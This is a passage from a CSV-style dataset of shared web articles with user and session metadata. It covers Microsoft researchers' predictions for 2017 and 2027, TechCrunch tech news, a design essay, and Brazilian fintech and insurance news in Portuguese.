doesn't just mean that we will add more languages to our offering. We will do that, but we also will have systems that understand, process and generate the language that an English-Spanish or a French-Arabic or a Hindi-English speaker uses when she effortlessly switches from one language to another, within the same conversation, chat and sometimes even within the same sentence. What will be the key advance or topic of discussion in speech and natural language processing in 2027? Language models will be deeply entrenched in cognitive models that enable artificial intelligence (AI) systems to reason and communicate with humans relatively effortlessly, moving between and adapting to different social situations, negotiating, debating and persuading, just as humans do all the time. Computational sociolinguistic and pragmatic models will play a big role in creating socio-culturally aware AI. What will be the key advance in algorithms for machine learning in 2017? Deep learning is transforming many aspects of our technology, however deep learning algorithms today are still largely heuristic, based on the experience and intuition of leaders in the field. In 2017, we will develop a more principled understanding of deep learning and hence more robust algorithms. The insights here will come from many fields, including the intersection of statistical physics and computer science. Mar Gonzalez Franco , researcher, Redmond, MSR NExT Follow her on Twitter What will be the key advance or topic of discussion in algorithms for machine learning in 2027? Our lives are being enhanced tremendously by artificial intelligence and machine learning algorithms. However, current algorithms often reproduce the discrimination and unfairness in our data and, moreover, are subject to manipulation by the input of misleading data. One of the great algorithmic advances of the next decade will be the development of algorithms which are fair, accountable and much more robust to manipulation. What will be the key advance in search and information retrieval in 2017? Deep learning in search and information retrieval will come of age. Over the last few years, we have seen breakthroughs in speech recognition, image understanding and natural language processing, which were driven by new deep learning architectures in combination with much more data and computational power. Next year, deep learning models will continue to improve the quality of web search results and will lead to more general improvements in document understanding and query articulation. What will be the key advance or topic of discussion in search and information retrieval in 2027? The search box will disappear. It will be replaced by search functionality that is more ubiquitous, embedded and contextually sensitive. We are seeing the beginnings of this transformation with spoken queries, especially in mobile and smart home settings. This trend will accelerate with the ability to issue queries consisting of sound, images or video, and with the use of context to proactively retrieve information related to the current location, content, entities or activities without explicit queries. What will be the key advance in biological computation in 2017? Despite the widespread use of computational and engineering analogies to 'explain' biology, the computation performed by cells need not, and probably does not, bear any resemblance to silicon-based computation. The key advance to come in the short term will be a theoretical foundation for understanding biological information processing, which will be fundamental as we seek to design, modify or reprogram cellular behavior. What will be the key advance or topic of discussion in biological computation in 2027? If we can imagine the realization of programming biology, in 10 years' time we will be developing entirely new industries and applications in areas ranging from agriculture and medicine to energy, materials and computing. While the last 50 years were utterly transformed by the ability to program on silicon, we will be entering the next programming revolution: The era of living software. What will be the key advance in virtual reality in 2017? In 2017 we will see the emergence of virtual reality devices that feature better body tracking. A positive outcome of this will be the ability to experience embodiment of virtual avatars from a first-person perspective. What will be the key advance or topic of virtual reality in 2027? By 2027 we will have ubiquitous virtual reality systems that will provide such rich multisensorial experiences that will be capable of producing hallucinations which blend or alter perceived reality. Using this technology, humans will retrain, recalibrate and improve their perceptual systems. In contrast to current virtual reality systems that only stimulate visual and auditory senses, in the future the experience will expand to other sensory modalities including tactile with haptic devices. What will be the key advance or inflection point in social sciences in 2017? Social scientists and computer scientists will join together to develop new methods that map and measure cultural, economic and political ""filter bubbles"" - online echo chambers of our friends' news and information - and unpack how they impact people's everyday ""offline"" lives. What will be the key advance, inflection point, or topic of discussion in social sciences in 2027? By 2027, nearly 30 percent of adults in the United States will do some form of gig work, delivering AI-driven goods and services like tax advice or healthcare support. Consumers may or may not know when they are reliant on a human worker-in-the-loop. The social sciences will play a key role in developing technologies and public policy for a new social safety net of portable benefits to meet the needs of a 21st century AI-powered labor force. Kathryn S. McKinley , principal researcher, Redmond research lab Follow her on Twitter What will be the key advance in artificial intelligence and machine learning in 2017? In 2017 computer games will take center stage in the development of AI. Experimentation platforms based on games, such as Project Malmo - which my team and I have developed to enable AI experimentation in Minecraft - will allow for rapid testing of new ideas. I am especially excited about the potential for collaborative AI. We are now at the point where we can start to understand how AI can learn from us and collaborate with us to help us achieve our goals. Cecily Morrison , researcher, Cambridge, U.K., research lab What will be the key advance or topic of discussion in artificial intelligence and machine learning in 2027? AI is progressing very rapidly. It has great potential to empower people and help us tackle key global challenges. To me, the most important topic of discussion is how to ensure that by 2027 these advances and great potential translate into AI technology that results in the greatest possible benefit to society. Olya Ohrimenko , researcher, Cambridge, U.K., research lab What will be the key advance in economics and/or game theory in 2017? As people face increasingly complex decisions in this era of big data, it will become difficult to make optimal choices. Economists will develop new theories about potentially sub-optimal behavior in the face of complexity, and computer scientists will develop automated machine learning tools to help people navigate these scenarios. Oriana Riva , researcher, Redmond, MSR NExT What will be the key advance or topic of discussion in economics and/or game theory in 2027? By 2027, automation will give rise to a new economy in which most people's societal contribution comes from the data they generate as they go about their lives rather than the work they do. Economists will be talking about ways to fairly compensate people for these contributions. This will most probably involve heavier redistribution of wealth through mechanisms such as taxes or social programs. What will be the key advance in mathematics and cryptography in 2017? New mathematical solutions allowing for computation on encrypted data will be deployed to protect the privacy of medical and genomic data for patients and hospitals. The new homomorphic encryption schemes will secure the data while allowing the cloud to compute on it to make useful risk predictions and provide analysis and alerts. Homomorphic encryption will be deployed soon in the financial sector to protect sensitive banking data. Asta Roseway , principal research designer, Redmond research lab What will be the key advance or topic of discussion in mathematics and cryptography in 2027? Deep advances in mathematics will continue to be the foundation for next-generation cryptosystems. By 2027 we will have a quantum computer that can break at least low-strength traditional cryptographic systems. For long-term data protection, a first wave of post-quantum cryptosystems is already under development based on recently proposed hard problems in mathematics. With advances in mathematical techniques and algorithms, in 10 years we will see a second wave of post-quantum cryptographic solutions with new proposals and attacks on existing proposals. What will be the key advance in programming languages and software engineering in 2017? In programming languages research, the most revolutionary change on the horizon is probabilistic programming, in which developers produce models that estimate the real world and explicitly reason about uncertainty in data and computations. The programming language community is continuing to build the foundations of this new software world and some exciting new applications will emerge by the end of 2017. What will be the key advance or topic of discussion in programming languages and software engineering in 2027? By 2027, the majority of software engineers will be facile in programming systems that reason about estimates and produce models with statistical methods. This sea change will deliver applications that seamlessly integrate sensors, machine learning and approximation to interact with human beings in entirely new, meaningful and correct ways. What will be the key advance in human-centered computing and accessibility in 2017? People with visual disabilities will be the power users of personal agents, helping technologists move from hype to transformational technology. What will be the key advance or topic of discussion in human-centered computing and accessibility in 2027? All children, including those with disabilities, will have appropriate tools to learn to code. Add 20 years and those children with disabilities will bring their unique experience of the world to change the landscape of technology. Xiaoyan Sun , lead researcher, Asia research lab Follow her on Twitter Dongmei Zhang , principal research manager, Asia research lab What will be the key advance in security and privacy in 2017? Trusted hardware will inspire new kinds of applications and tools with strong security as their distinctive feature, appealing to users and programmers. What will be the key advance or topic of discussion in security and privacy in 2027? Advances in hardware and cryptography will lift data privacy guarantees to a new level: Only an encrypted form of our personal data will be used in medical and administrative analyses, machine learning algorithms and our daily online activities. What will be the key advance in mobile computing in 2017? In 2017, systems will increasingly re-architect themselves to support interactions without a graphical user interface. We'll see fewer users installing apps on their devices and more apps turning into behind-the-scenes services for chatbots and personal digital assistants. What will be the key advance or topic of discussion in mobile computing in 2027? The key advance in mobile computing by 2027 will be a significantly expanded relationship with the digital world, encompassing almost any ""thing"" that exists in our surroundings. We'll engage with intelligent and personal systems that truly understand us, that we can trust and that know us well enough to anticipate and serve our needs. What will be the key advance in ecology, environment and design in 2017? In 2017 we will see early efforts commence around the Internet of Things for agriculture, including a fusion of ubiquitous sensing, computer vision capabilities and cloud storage to maximize machine learning and analytics. These services, combined with design, will enable farmers to monitor, analyze, comprehend and diagnose the health of their farms from micro to macro levels. What will be the key advance or topic of discussion in ecology, environment and design in 2027? Farmers will leverage artificial intelligence streaming capabilities to maintain healthy yields regardless of climate change, drought and disaster. The future of food depends on our ability to preserve and improve the use of our planet's key resources and reduce over-farmed soil by shifting from traditional farming practices to alternative low energy ones such as vertical farming and aquaponics. Environmental and ecological focus will be on saving our forests with help from advanced sensors and technology while leveraging more urban spaces to shoulder our agricultural needs. Karin Strauss , senior researcher, Redmond research lab Follow her on Twitter What will be the key advance in hardware and devices in 2017? Moore's Law has been slowing down. It is getting too expensive to scale general purpose, silicon-based processors and capacitive memories at the same pace as before. As a result, in 2017 we will see a number of new custom hardware accelerators, mostly on FPGA fabrics, proliferate in the cloud to improve performance and lower costs, instead of simply relying on Moore's Law. Of course, general purpose processors will continue to improve, just at a slower rate. The result will be more interesting, responsive and secure services backed by the cloud. We also will see more virtual reality and augmented reality devices and accessories, both cheap and expensive, come to market. This will result in a number of new applications experimenting with these platforms, as well as interesting developments in content creation for virtual and augmented reality, including 360 degree video recording and similar devices. What will be the key advance or topic of discussion in hardware and devices in 2027? From now to 2027, we will witness a number of new technologies that depart from regular silicon scaling come to fruition. Carbon nanotubes and other molecular-scale manufacturing techniques, new architectures such as those that perform computation closer to the data (near data processing), and new computing and storage paradigms such as quantum computers and DNA storage drives may become commercial realities by then. Low power artificial intelligence and near eye displays will see significant improvements as well, resulting in more intelligent devices and higher quality augmented and virtual reality experiences. What will be the key advance in computer vision in 2017? The key advance in 2017 will be the continued rapid progress in computer vision based on deep learning methods. This will be evident in highly accurate object recognition technologies that approach human ability, lightweight portable vision systems and wide adoption of vision platforms. What will be the key advance or topic of discussion in computer vision in 2027? By 2027 the ability for computers to ""see"" will be ubiquitous as we will have highly developed imaging devices, powerful computing resources and combined deep and wide learning techniques. Advances in these techniques will lead to ubiquitous vision ""eyes"" that can ""see"" and empower humans in daily life and all kinds of professions, from manufacturing and health care to finance and security. What will be the key advance in data analytics and vision in 2017? In 2017, the key technology advance of data analytics and visualization will be in smart data discovery, with interactive, intuitive and instant insights at its core. Such insights will be generated automatically and recommended to users based on their analysis context. The insight generation and recommendation will take into account user response, thus creating an effective and fast feedback loop. Users will be able to complete their analytic tasks more quickly and with less effort. What will be the key advance or topic of discussion in data analytics and vision in 2027? In 2027, advances in data analytics and visualization will enable cross-data source and cross-domain analytics at different semantic levels. Individuals will be able to use natural interaction mechanisms, such as natural language, to obtain broad and in-depth information on various aspects of their lives in an easy and seamless way. Related: To see how our researchers fared in their predictions last year, check out From AI and data science to cryptography, Microsoft researchers offer 16 predictions for 2016 . Photography by Dan DeLong in Redmond, Washington, John Brecher in New York, Jonathan Banks in Cambridge, U.K., Dana J. Quigley in Cambridge, Massachusetts, Mahesh Bhat in Bangalore, India, Michael Svoboda in San Diego, California, and Tong Wang in Beijing.",en
1481047299,CONTENT SHARED,6407605752151817831,-8845298781299428018,19304028560323633,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/06/seenit-wins-startup-battlefield-disrupt-london-2016/,And the winner of Startup Battlefield at Disrupt SF 2016 is... Seenit,"4K movies come to the Google Play Movies & TV app At the very beginning, there were 14 startups. After two days of incredibly fierce competition, we now have a winner. Startups participating in the Startup Battlefield have all been hand-picked to participate in our highly competitive startup competition. They all presented in front of multiple groups of VCs and tech leaders serving as judges for a chance to win $50,000 and the coveted Disrupt Cup. After hours of deliberations, TechCrunch editors pored over the judges' notes and narrowed the list down to six finalists: InsideDNA , LiftIgniter , Oxehealth , PhenixP2P and Seenit . These startups made their way to the finale to demo in front of our final panel of judges, which included: Judges: Barbara Belvisi (Hardware Club), Luciana Lixandru (Accel), Sean O'Sullivan (SOSV), Matthew Panzarino (TechCrunch) and Francesca Warner (Downing Partners). Applications for the Startup Battlefield at Disrupt NY are opening soon. Please check out our Startup Battlefield hub , apply and email Battlefield Editor Sam O'Keefe with any questions (sam@techcrunch.com). And now, meet the Startup Battlefield winner of TechCrunch Disrupt London 2016. Winner: Seenit Seenit helps event organizers and other businesses turn their biggest fans into a film crew. Seenit customers invite a select group of their own users, who can use the Seenit app to shoot and submit video from their smartphone. Read more about Seenit in our separate post . Runner-up: InsideDNA InsideDNA plans to help research and pharma teams identify the best drug target by using machine learning to analyze massive genetic datasets and identify likely drug targets. Read more about InsideDNA in our separate post .",en
1481047576,CONTENT SHARED,-273156842634169039,-8845298781299428018,19304028560323633,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/06/4k-movies-come-to-the-google-play-movies-tv-app/,4K movies come to the Google Play Movies & TV app,"It may be getting a late start, compared with streaming services from Amazon and Netflix, but today Google Play Movies & TV is adding 4K movies to its content library. Google says there are now over 125 movies in 4K resolution, using VP9, available for purchase via its web or mobile storefront. These can be streamed via a Chromecast Ultra, Sony Bravia Android TV, or Xiaomi Mi Box 3. The Chromecast Ultra, as you may recall, was announced earlier this fall as the first member of the Chromecast family to support 4K and HDR video streaming. At a $69 price point, it's an affordable way to get a 4K streamer into your home. With the launch of 4K support on Google Play Movies & TV, Google is sweetening the deal for those in the market for such a device, as it's offering one 4K movie title for free when you buy a Chromecast Ultra. Google is not the only late arrival to 4K video. Just this Friday, Hulu announced limited support for 4K shows and movies as well. In its case, only its originals and 20 James Bond films were made available in 4K. Netflix and Amazon Video, by comparison, both launched 4K support back in 2014. That being said, 4K TV adoption in the U.S. has been fairly slow , so Google's timing won't be much of an issue here. The company also noted today that its Movies & TV app, which is now available in 117 countries worldwide, will ship on 2016 model Samsung Smart TVs.",en
1481053304,CONTENT SHARED,3772685586944428188,2597011162480707820,-5577021320022644006,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://comradeagency.com/thinking/can-user-centered-design-steer-you-wrong/,Can user-centered design steer you wrong?,"It's not unusual for us to operate under the assumption that different people perform different tasks... well... differently . The personas we craft to represent our users help us remember our audience - their preferences, their demographics, and their technical knowledge. But what if personas aren't the answer to everything? Recently, Comrade collaborated on a study that examined the adoption rates for Mobile Check Deposit, the feature that many banks offer allowing customers to deposit a check by taking a picture with their phone. We looked at various factors, including different personas, and we made a surprising discovery: the findings were the same, regardless of the user. Persona differences didn't seem to matter - users of different demographics, technical savvy, income levels, etc. all exhibited the same findings. What seemed to matter was not who was using the feature, but the nature of the activity itself. Enter User-Centered Design User-Centered Design, or UCD, has been with us for so long that we almost forget the days that came before. Back then, technology seemed almost like magic - it was difficult because it was powerful, and a steep learning curve was just part of earning the right to wield that power. Users were asked to adapt to the technologies and tools that engineers gave them, as though from on high. Since Donald Norman coined the term User-Centered-Design in the mid-1980's, putting the user at the center of the design has become not just commonly accepted but devoutly unquestionable. Personas, usability testing, joint application development, and co-design had fundamentally changed the design process. Focus groups, not engineering teams, determined what features should exist in a product. After decades of technological products that forced users to conform to them, we finally had empathy in our design process - and a way to design that put users first. Not the ""who,"" the ""what."" In 2005, the same Don Norman published an article titled ""Human-Centered Design Considered Harmful."" In the article, and in a follow-up, he challenged the idea that asking users what they want and giving it to them was the right way to approach design. Norman proposed Activity Centered Design, or ACD, as an extension and expansion to UCD. The thesis was that UCD, and in particular the way it had come to be practiced, had become too narrow and focused on individual differences and wants for specific screens and interfaces. As a result, it lost the larger context of interruptions, ill-formed goals, conflicting motivations, and unexpected conditions or needs. ACD represents not a refutation of the empathy and dedication to user value that are at the heart of UCD, but an extension of it that addresses the things that UCD overlooks. Activity-Centered Design, or ACD, focuses not on the different demographics, psychology, and technology skills of individual users, but on the context and composition of activities - or collections of tasks, goals, rules, and tools that group together. Is this a step backward towards more task-based design? Not really - because activities are more than just tasks. Whereas a task might be ""send an email,"" it might be part of a larger activity, say, ""keep up with correspondence,"" which also includes reading new mail, figuring out who really needs to hear from you, and updating your contact list. UCD states that technology should always adapt to users; users should not have to adapt to technology. ACD recognizes that humans do, indeed, adapt to technology. Take the invention of the clock - the mechanized measurement and tracking of time changed almost everything about how we approach our days. We absolutely adapt to technology as another element in our environment. UCD focuses solely on the participants (primarily the direct users) and the individual tasks, while ACD considers these components of a larger context that supports the fulfillment of the needs of people - needs much more complex than simply successfully completing a use case. Tools, rules, other participants in related tasks... all of these are part of the context that UCD often leaves out of the picture. Paying attention to the broader context So as designers, should we abandon our UCD practices? Certainly not, but we have to start considering them in a broader context. This is already happening in the field of Service Design. Customer journey maps take into account multiple tasks in various combinations, with multiple touchpoints represented, often over a long period of time and multiple contacts. Ecosystem Models represent the context of various systems, tools, processes (controlled and otherwise), and rules that make up the context of an activity. They are great lenses through which to view activities in context. In addition to what we're already doing, UX, CX, and other solution design professionals need to do a few new things. First, we need to start thinking of and representing activities the way we currently consider personas. The model illustrated here is one structure that can be used, but just as there are many ways to crystalize a persona, there are many ways to encapsulate activities. Let's get creative - it's what we're good at: The second thing we need to get good at is understanding the readiness to employ ACD of our clients, their customers, their industries, and the individual products we're designing. Not every project is ready. ACD is the next step along a maturity curve - and it's very hard to skip steps effectively. Consider the iPhone. In 2007, when the whole concept of a ""smart phone"" was totally new, we couldn't really even employ Human Centered Design (who would the personas be? What do they need or want from such a device?), much less ACD (what activities will this device support?) to designing a product like the iPhone. In that case, capabilities really WERE the driver - though clearly that didn't last long. If you consider the Mobile Check Deposit research in this light, the findings become a little less surprising, and a lot more understandable. What mattered more than the users themselves is the activity. If we can develop ACD practices to the level we have done for UCD, we will be able to do more than just solve users' problems - we'll be able to address people's real needs. And what's more human than that?",en
1481055139,CONTENT SHARED,-241724866433160984,3609194402293569455,-4538034959359203810,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/12/fintech-inova-em-parceria-com-a-apple-e-permite-usuarios-realizarem-transferencias-por-comando-de-voz/,Fintech inova em parceria com a Apple e permite usuários realizarem Transferências por comando de voz,"Em uma época em que séries como Black Mirror e Mr. Robot mostram uma nova relação da tecnologia, inovações chegam ao dia a dia e começam a fazer parte da rotina de todos. Cada vez mais nos aproximamos do futuro visto apenas no entretenimento. O Neon, na busca constante por facilitar a vida financeira e a relação de seus clientes com o dinheiro, inova em parceria com a Apple. A partir desta semana, a fintech passa a autorizar transações financeiras por comando de voz, via Siri. Para usar é muito simples e nem precisa abrir o app. Basta ativar a Siri, enviar o comando de transferência via Neon com nome do destinatário, e valor, e confirmar a transação usando biometria digital. Por enquanto, a função está disponível para transferências entre contas Neon e com o valor máximo de R$200,00 por transação. Veja o vídeo explicativo: Segundo Pedro Conrade, CEO da startup, ""os clientes buscam mais conforto e segurança com o dinheiro. É a primeira vez que um banco brasileiro cria um recurso por comando de voz utilizando a Siri. Nossa missão é deixar a vida do usuário cada vez mais fácil e descomplicada, e nesse aspecto, o fato de sermos um banco digital traz o dinamismo necessário para a implementação dessas novas tecnologias"", ressalta.",pt
1481108140,CONTENT SHARED,-4070929606295451361,3938645257702379823,-8234459911365531196,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://news.adobe.com/press-release/corporate/adobe-and-microsoft-partner-azure-cloud-help-businesses-transform-customer,Adobe and Microsoft Partner in the Azure Cloud to Help Businesses Transform Customer Engagement,"ATLANTA - Sept. 26, 2016 - Today at Microsoft Ignite, Adobe Systems Incorporated (Nasdaq:ADBE) and Microsoft Corp. announced plans for a strategic partnership to help enterprise companies embrace digital transformation and deliver compelling, personalized experiences through every phase of their customer relationships. Together, the two companies will enable businesses to dramatically strengthen their brands through solutions with Microsoft Azure, Adobe Marketing Cloud and Microsoft Dynamics 365. ""Business leaders in every industry are focused on how to better engage their digital customers, wherever they are,"" said Satya Nadella, CEO of Microsoft. ""Together, Adobe and Microsoft are bringing the most advanced marketing capabilities on the most powerful and intelligent cloud to help companies digitally transform and engage customers in new ways."" ""Customers today expect a well-designed, personalized and consistent experience every time they engage with a brand,"" said Shantanu Narayen, Adobe president and chief executive officer. ""Adobe and Microsoft will bring together the cloud horsepower and end-to-end capabilities brands need to design and deliver great digital experiences."" With this partnership, Adobe will make Microsoft Azure its preferred cloud platform for the Adobe Marketing Cloud, Adobe Creative Cloud and Adobe Document Cloud. Azure provides Adobe with a trusted, global cloud and a powerful data platform for intelligent services, including comprehensive machine learning and cognitive capabilities in Microsoft Cortana Intelligence Suite and SQL Server. Microsoft will make Adobe Marketing Cloud its preferred marketing service for Dynamics 365 Enterprise edition, giving customers a powerful, comprehensive marketing service for Microsoft's next generation of intelligent business applications. The two companies are collaborating on data integrations to ensure customers can easily work across Adobe Marketing Cloud and Dynamics 365 business applications, leveraging artificial intelligence, machine learning and advance analytics. Customers will be able to use these integrations across Adobe and Microsoft solutions to create new data-driven sales and marketing capabilities. The underlying data models will be extensible to enterprise customers, as well as third party developers and partners, which will foster innovation and development across a shared ecosystem. Adobe and Microsoft will jointly work with leading companies to help them envision and implement the integrated solutions. As a result, the companies' mutual customers will be able to harness their data for critical insights and predictions, connect customer touchpoints across their business, bolster relationships, and drive brand loyalty and growth. About Adobe Adobe is changing the world through digital experiences. For more information, visit www.adobe.com . About Microsoft Microsoft (Nasdaq ""MSFT"" @microsoft) is the leading platform and productivity company for the mobile-first, cloud-first world, and its mission is to empower every person and every organization on the planet to achieve more. For More Information Microsoft Media Relations, WE Communications for Microsoft, (425) 638-7777, rrt@we-worldwide.com Note to editors : For more information, news and perspectives from Microsoft, please visit the Microsoft News Center at . Web links, telephone numbers and titles were correct at time of publication, but may have changed. For additional assistance, journalists and analysts may contact Microsoft's Rapid Response Team or other appropriate contacts listed at . ### © 2016 Adobe Systems Incorporated. All rights reserved. Adobe and the Adobe logo are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. All other trademarks are the property of their respective owners.",en
1481111201,CONTENT SHARED,2121807307434667949,-6067316262393890508,5867539930583671809,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.revistaapolice.com.br/2016/11/thinkseg-traz-o-seguro-pague-conforme-voce-usa-para-taxistas/,"thinkseg traz o seguro ""pague conforme você usa"" para taxistas","Com o download do aplicativo thinkseg no smartphone do taxista, a condução do veículo passa a ser monitorada por meio das variáveis: tempo do trajeto, modo de aceleração, maneira da freada e jeito de fazer as curvas. Essa é a novidade que a thinkseg propõe aos taxistas no Brasil. A tarifa do seguro do carro é mais alta para o taxista, quando comparada a dos automóveis particulares. Isso ocorre porque as seguradoras consideram que existe um maior risco de acidente pelo fato do taxista rodar o dia inteiro, transportando mais pessoas no veículo. Em outras palavras, o estilo de condução do motorista do taxi vai indicar a abordagem profissional dele e o risco que ele representa para a seguradora. Quanto mais prudente no volante, mais descontos haverá no preço do seguro. Há perspectivas de descontos de até 40% no seguro de veículo comercial. Segundo estimativa da British Insurance Brokers' Association (Biba) - Associação dos Corretores de Seguros na Inglaterra - o modo de condução do taxista, por meio de aplicativos com telemática, deve alcançar 500 mil usuários no final de 2017 na Inglaterra. Estes são dados de um mercado segurador evoluído, no qual várias grandes companhias de seguros já aderiram a esse tipo de programa. No Brasil, a thinkseg é a primeira plataforma online a trazer essa inovação que está em expansão na Inglaterra e também nos Estados Unidos. Para os jovens condutores de carros que usam aplicativos direto com os seus passageiros no Brasil, o monitoramento do estilo de condução, proposto pela plataforma online thinkseg, pode evitar a alta taxa inicial de seguro que esses condutores pagariam em uma cobertura padrão. O seguro ""pague conforme você usa"", modelo inovador da thinkseg para o Brasil, começa a partir de determinado valor. Quem tem bons hábitos de condução, tem descontos no prêmio do seguro. Em breve, a thinkseg lançará uma campanha de conscientização das pessoas no volante, ressaltando os descontos para os bons condutores. Já os motoristas mais arrojados ou imprudentes apenas não terão esses descontos. O aplicativo thinkseg foi disponibilizado para alguns motoristas em São Paulo que estão sendo monitorados. O app só passa a ser comercializado assim que os testes e ajustes estiverem finalizados. K.L. Revista Apólice",pt
1481112714,CONTENT SHARED,-1306208577536428610,-6067316262393890508,5867539930583671809,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://www.sonhoseguro.com.br/2016/12/sulamerica-continua-investindo-apesar-da-crise/,"SulAmérica continua investindo, apesar da crise - Sonho Seguro","SulAmérica continua investindo, apesar da crise 2016 foi um ano conturbado para toda a economia, mas a SulAmérica comemora os resultados obtidos até setembro. Gabriel Portella, CEO da seguradora, citou muitos motivos para comemorar o desempenho obtido no ano, apesar de tantas notícias ruins, sendo a mais recente e impactante a morte das 71 pessoas que estavam a bordo do avião que levava o time Chapecoense de São Paulo para Medellin. ""Estamos consternados e prestando todo nosso apoio a nossa sucursal de Chapecó e todos os moradores da cidade"", comentou. Mesmo querendo evitar, a palavra crise surge em todas as perguntas dos jornalistas durante o almoço de final de ano com os executivos da SulAmérica. Apesar dos percalços que o segmento de saúde enfrenta, como a perda de mais de 1,5 milhão de clientes até outubro em razão do elevado índice de desemprego, esse tem sido um ramo positivo para o grupo. O crescimento da área de saúde, maior nicho dentro do mix da companhia, chegou a 20% até setembro. ""Podemos dizer que esse resultado foi excepcional diante do momento que o Brasil vive"", enfatizou Portella. Ampliar a sinergia dos produtos, incluir a co-participação em 80% dos clientes em contratos acima de 1 mil vidas, investir em processos para ter uma gestão equilibrada e foco no controle de custos, principalmente com a compra direta de material e equipamentos foram itens citados para justificar o bom desempenho em saúde, enumerou Maurício Lopes, vice-presidente de saúde. ""Na SulAmérica, apesar do movimento recessivo da economia, conseguirmos fazer que a carteira de odontológico batesse quase 850 mil vidas até setembro, alta de 20% em prêmios e em beneficiários"", informou. A carteira de saúde também apresentou crescimento de 13% em prêmio e de 4% em beneficiários"", disse. O segmento de odonto, segundo ele, segue com boas perspectivas em 2017, pois o mercado pode avançar com o ambiente de melhoria previsto para a economia a partir do segundo semestre. ""Se a economia melhorar, mais seremos positivamente surpreendidos no final do ano que vem. Quanto mais emprego, melhor para todos"". Lopes cita também a parceria com a Healthways. ""A parceria já traz frutos para todos na cadeia de saúde, principalmente para o consumidor"", enfatiza o executivo. O grupo já investiu R$ 70 milhões no programa da Saúde Ativa em 2015 e outros R$ 90 milhões em 2016. Boa parte dos recursos foi usada para fazer as pessoas mudarem hábitos, inclusive alimentares, que respeitem as condições de saúde atuais. ""São 66 mil pessoas monitoras no Saúde Ativa e os resultados são visivelmente surpreendentes para empresas e segurados, comentou. A consolidação do mercado de saúde, que vem acontecendo e deve ser intensificada em 2017, é acompanhada de perto pela SulAmérica. A medida que a barra regulatória sobe, com exigências de reservas financeiras e normas como o rol de procedimentos obrigatórios pela Agência Nacional de Saúde (ANS), coloca ainda mais pressão no mercado. Há cerca de 70 companhias no alvo da ANS. Há muitas empresas com volume de vidas abaixo de 20 mil vidas, o que torna o movimento de fusões e aquisições mais evidente. ""Se a economia piorar, essa tendência andará mais rápido. Se melhorar, dará mais longevidade aos players do mercado. Estamos atentos a esse movimento, mas temos ganhado muitos clientes que optam por empresas mais consolidadas no setor"", afirmou. Em automóvel, segunda maior carteira da SulAmérica, as perspectivas de mercado também são positivas. São 1,7 milhão de veículos segurados, com índice de retenção de 70% num cenário de extrema competição. A venda de produtos mais econômicos, como o Auto Compacto, que chega a custar até 15% menos do que o produto tradicional, tem 40% das verdas para novos segurados"", informou Arthur Farme, vice presidente de controle e relações com investidores da SulAmérica. Em previdência o otimismo também é evidente. ""Toda a discussão em torno da reforma da Previdência traz mais consciência à população, que passa a buscar mais informações sobre planos privados, possibilitando que as empresas ofertem produtos diferenciados"", disse Marcelo Mello, vice-presidente de investimentos, vida e previdência. 2017 traz vários desafios para todo o mercado segurador, sendo dois bem relevantes. As projeções dos principais economistas projetam queda de quatro pontos percentuais entre o inicio e fim de 2017, num momento em que a Superintendência de Seguros Privados (Susep) faz exigências de capital ao determinar para dezembro o prazo finalização do risco de mercado dentro do pacote de gestão de capital por risco. Isso fará com que as seguradoras calibrem em que áreas querem ser mais agressivas e o quanto de capital estão dispostas a aportar para equilibrar o risco. ""Para umas linhas de negócios será um momento mais difícil, para outras não. Pode ser que a decisão seja investir menos, mas não deixar de investir"", afirmou Portella. Segundo o presidente, com todo o apocalipse previsto para 2016 a seguradora continuou contratando e investindo em serviços produtos, sem tirar o olho das novidades digitais trazidas pelas fintechs em todo o mundo. ""É um processo complexo equilibrar os cenários, mas investir é fundamental, sem esbanjar. O empate é a vitória e bola na linha é gol. A estratégia é respeitar o cenário como ele é, mas não vamos ficar parados esperando os impactos deste processo político que o Brasil enfrenta. Os empresários seguem com desafios. Alguns são maiores para uns segmentos e há benefícios para outros"", pondera Portella. O conselho de administração da SulAmérica autorizou em reunião realizada em novembro a emissão de R$ 350 milhões a R$ 500 milhões em debêntures não conversíveis em ações. Os recursos obtidos com a emissão serão integralmente usados para reforço e adequação dos níveis de liquidez disponíveis da companhia, bem como para fins corporativos diversos. No quesito inovação, ele afirma que o grupo tem feito muita coisa dentro de casa. ""Quanto a ter um ambiente de startup dentro ou fora ainda não temos uma decisão. Estamos estudando várias propostas para otimizar nosso plano de investimento"", afirmou. No mundo das insurtechs, startups dedicadas a seguros, a escolha tem sido dividida entre fora e dentro das companhias. Alguns especialistas acreditam que a cultura organizacional tradicional pode contaminar o desenvolvimento dos projetos. Outros já acreditam que a experiência é enriquecida com a convivência entre dois mundos diferentes. O grupo segue desenvolvendo diversos aplicativos e parcerias. Em novembro, a SulAmérica firmou parceria inédita com o Waze para que a seguradora forneça novos serviços aos usuários do aplicativo, por meio de pop ups e banners. A iniciativa tem o objetivo de tornar a plataforma ainda mais proveitosa, passando a ser um canal de informações diferenciadas ao motorista, além das funções usuais de cálculo de rota de acordo com o trânsito.",pt
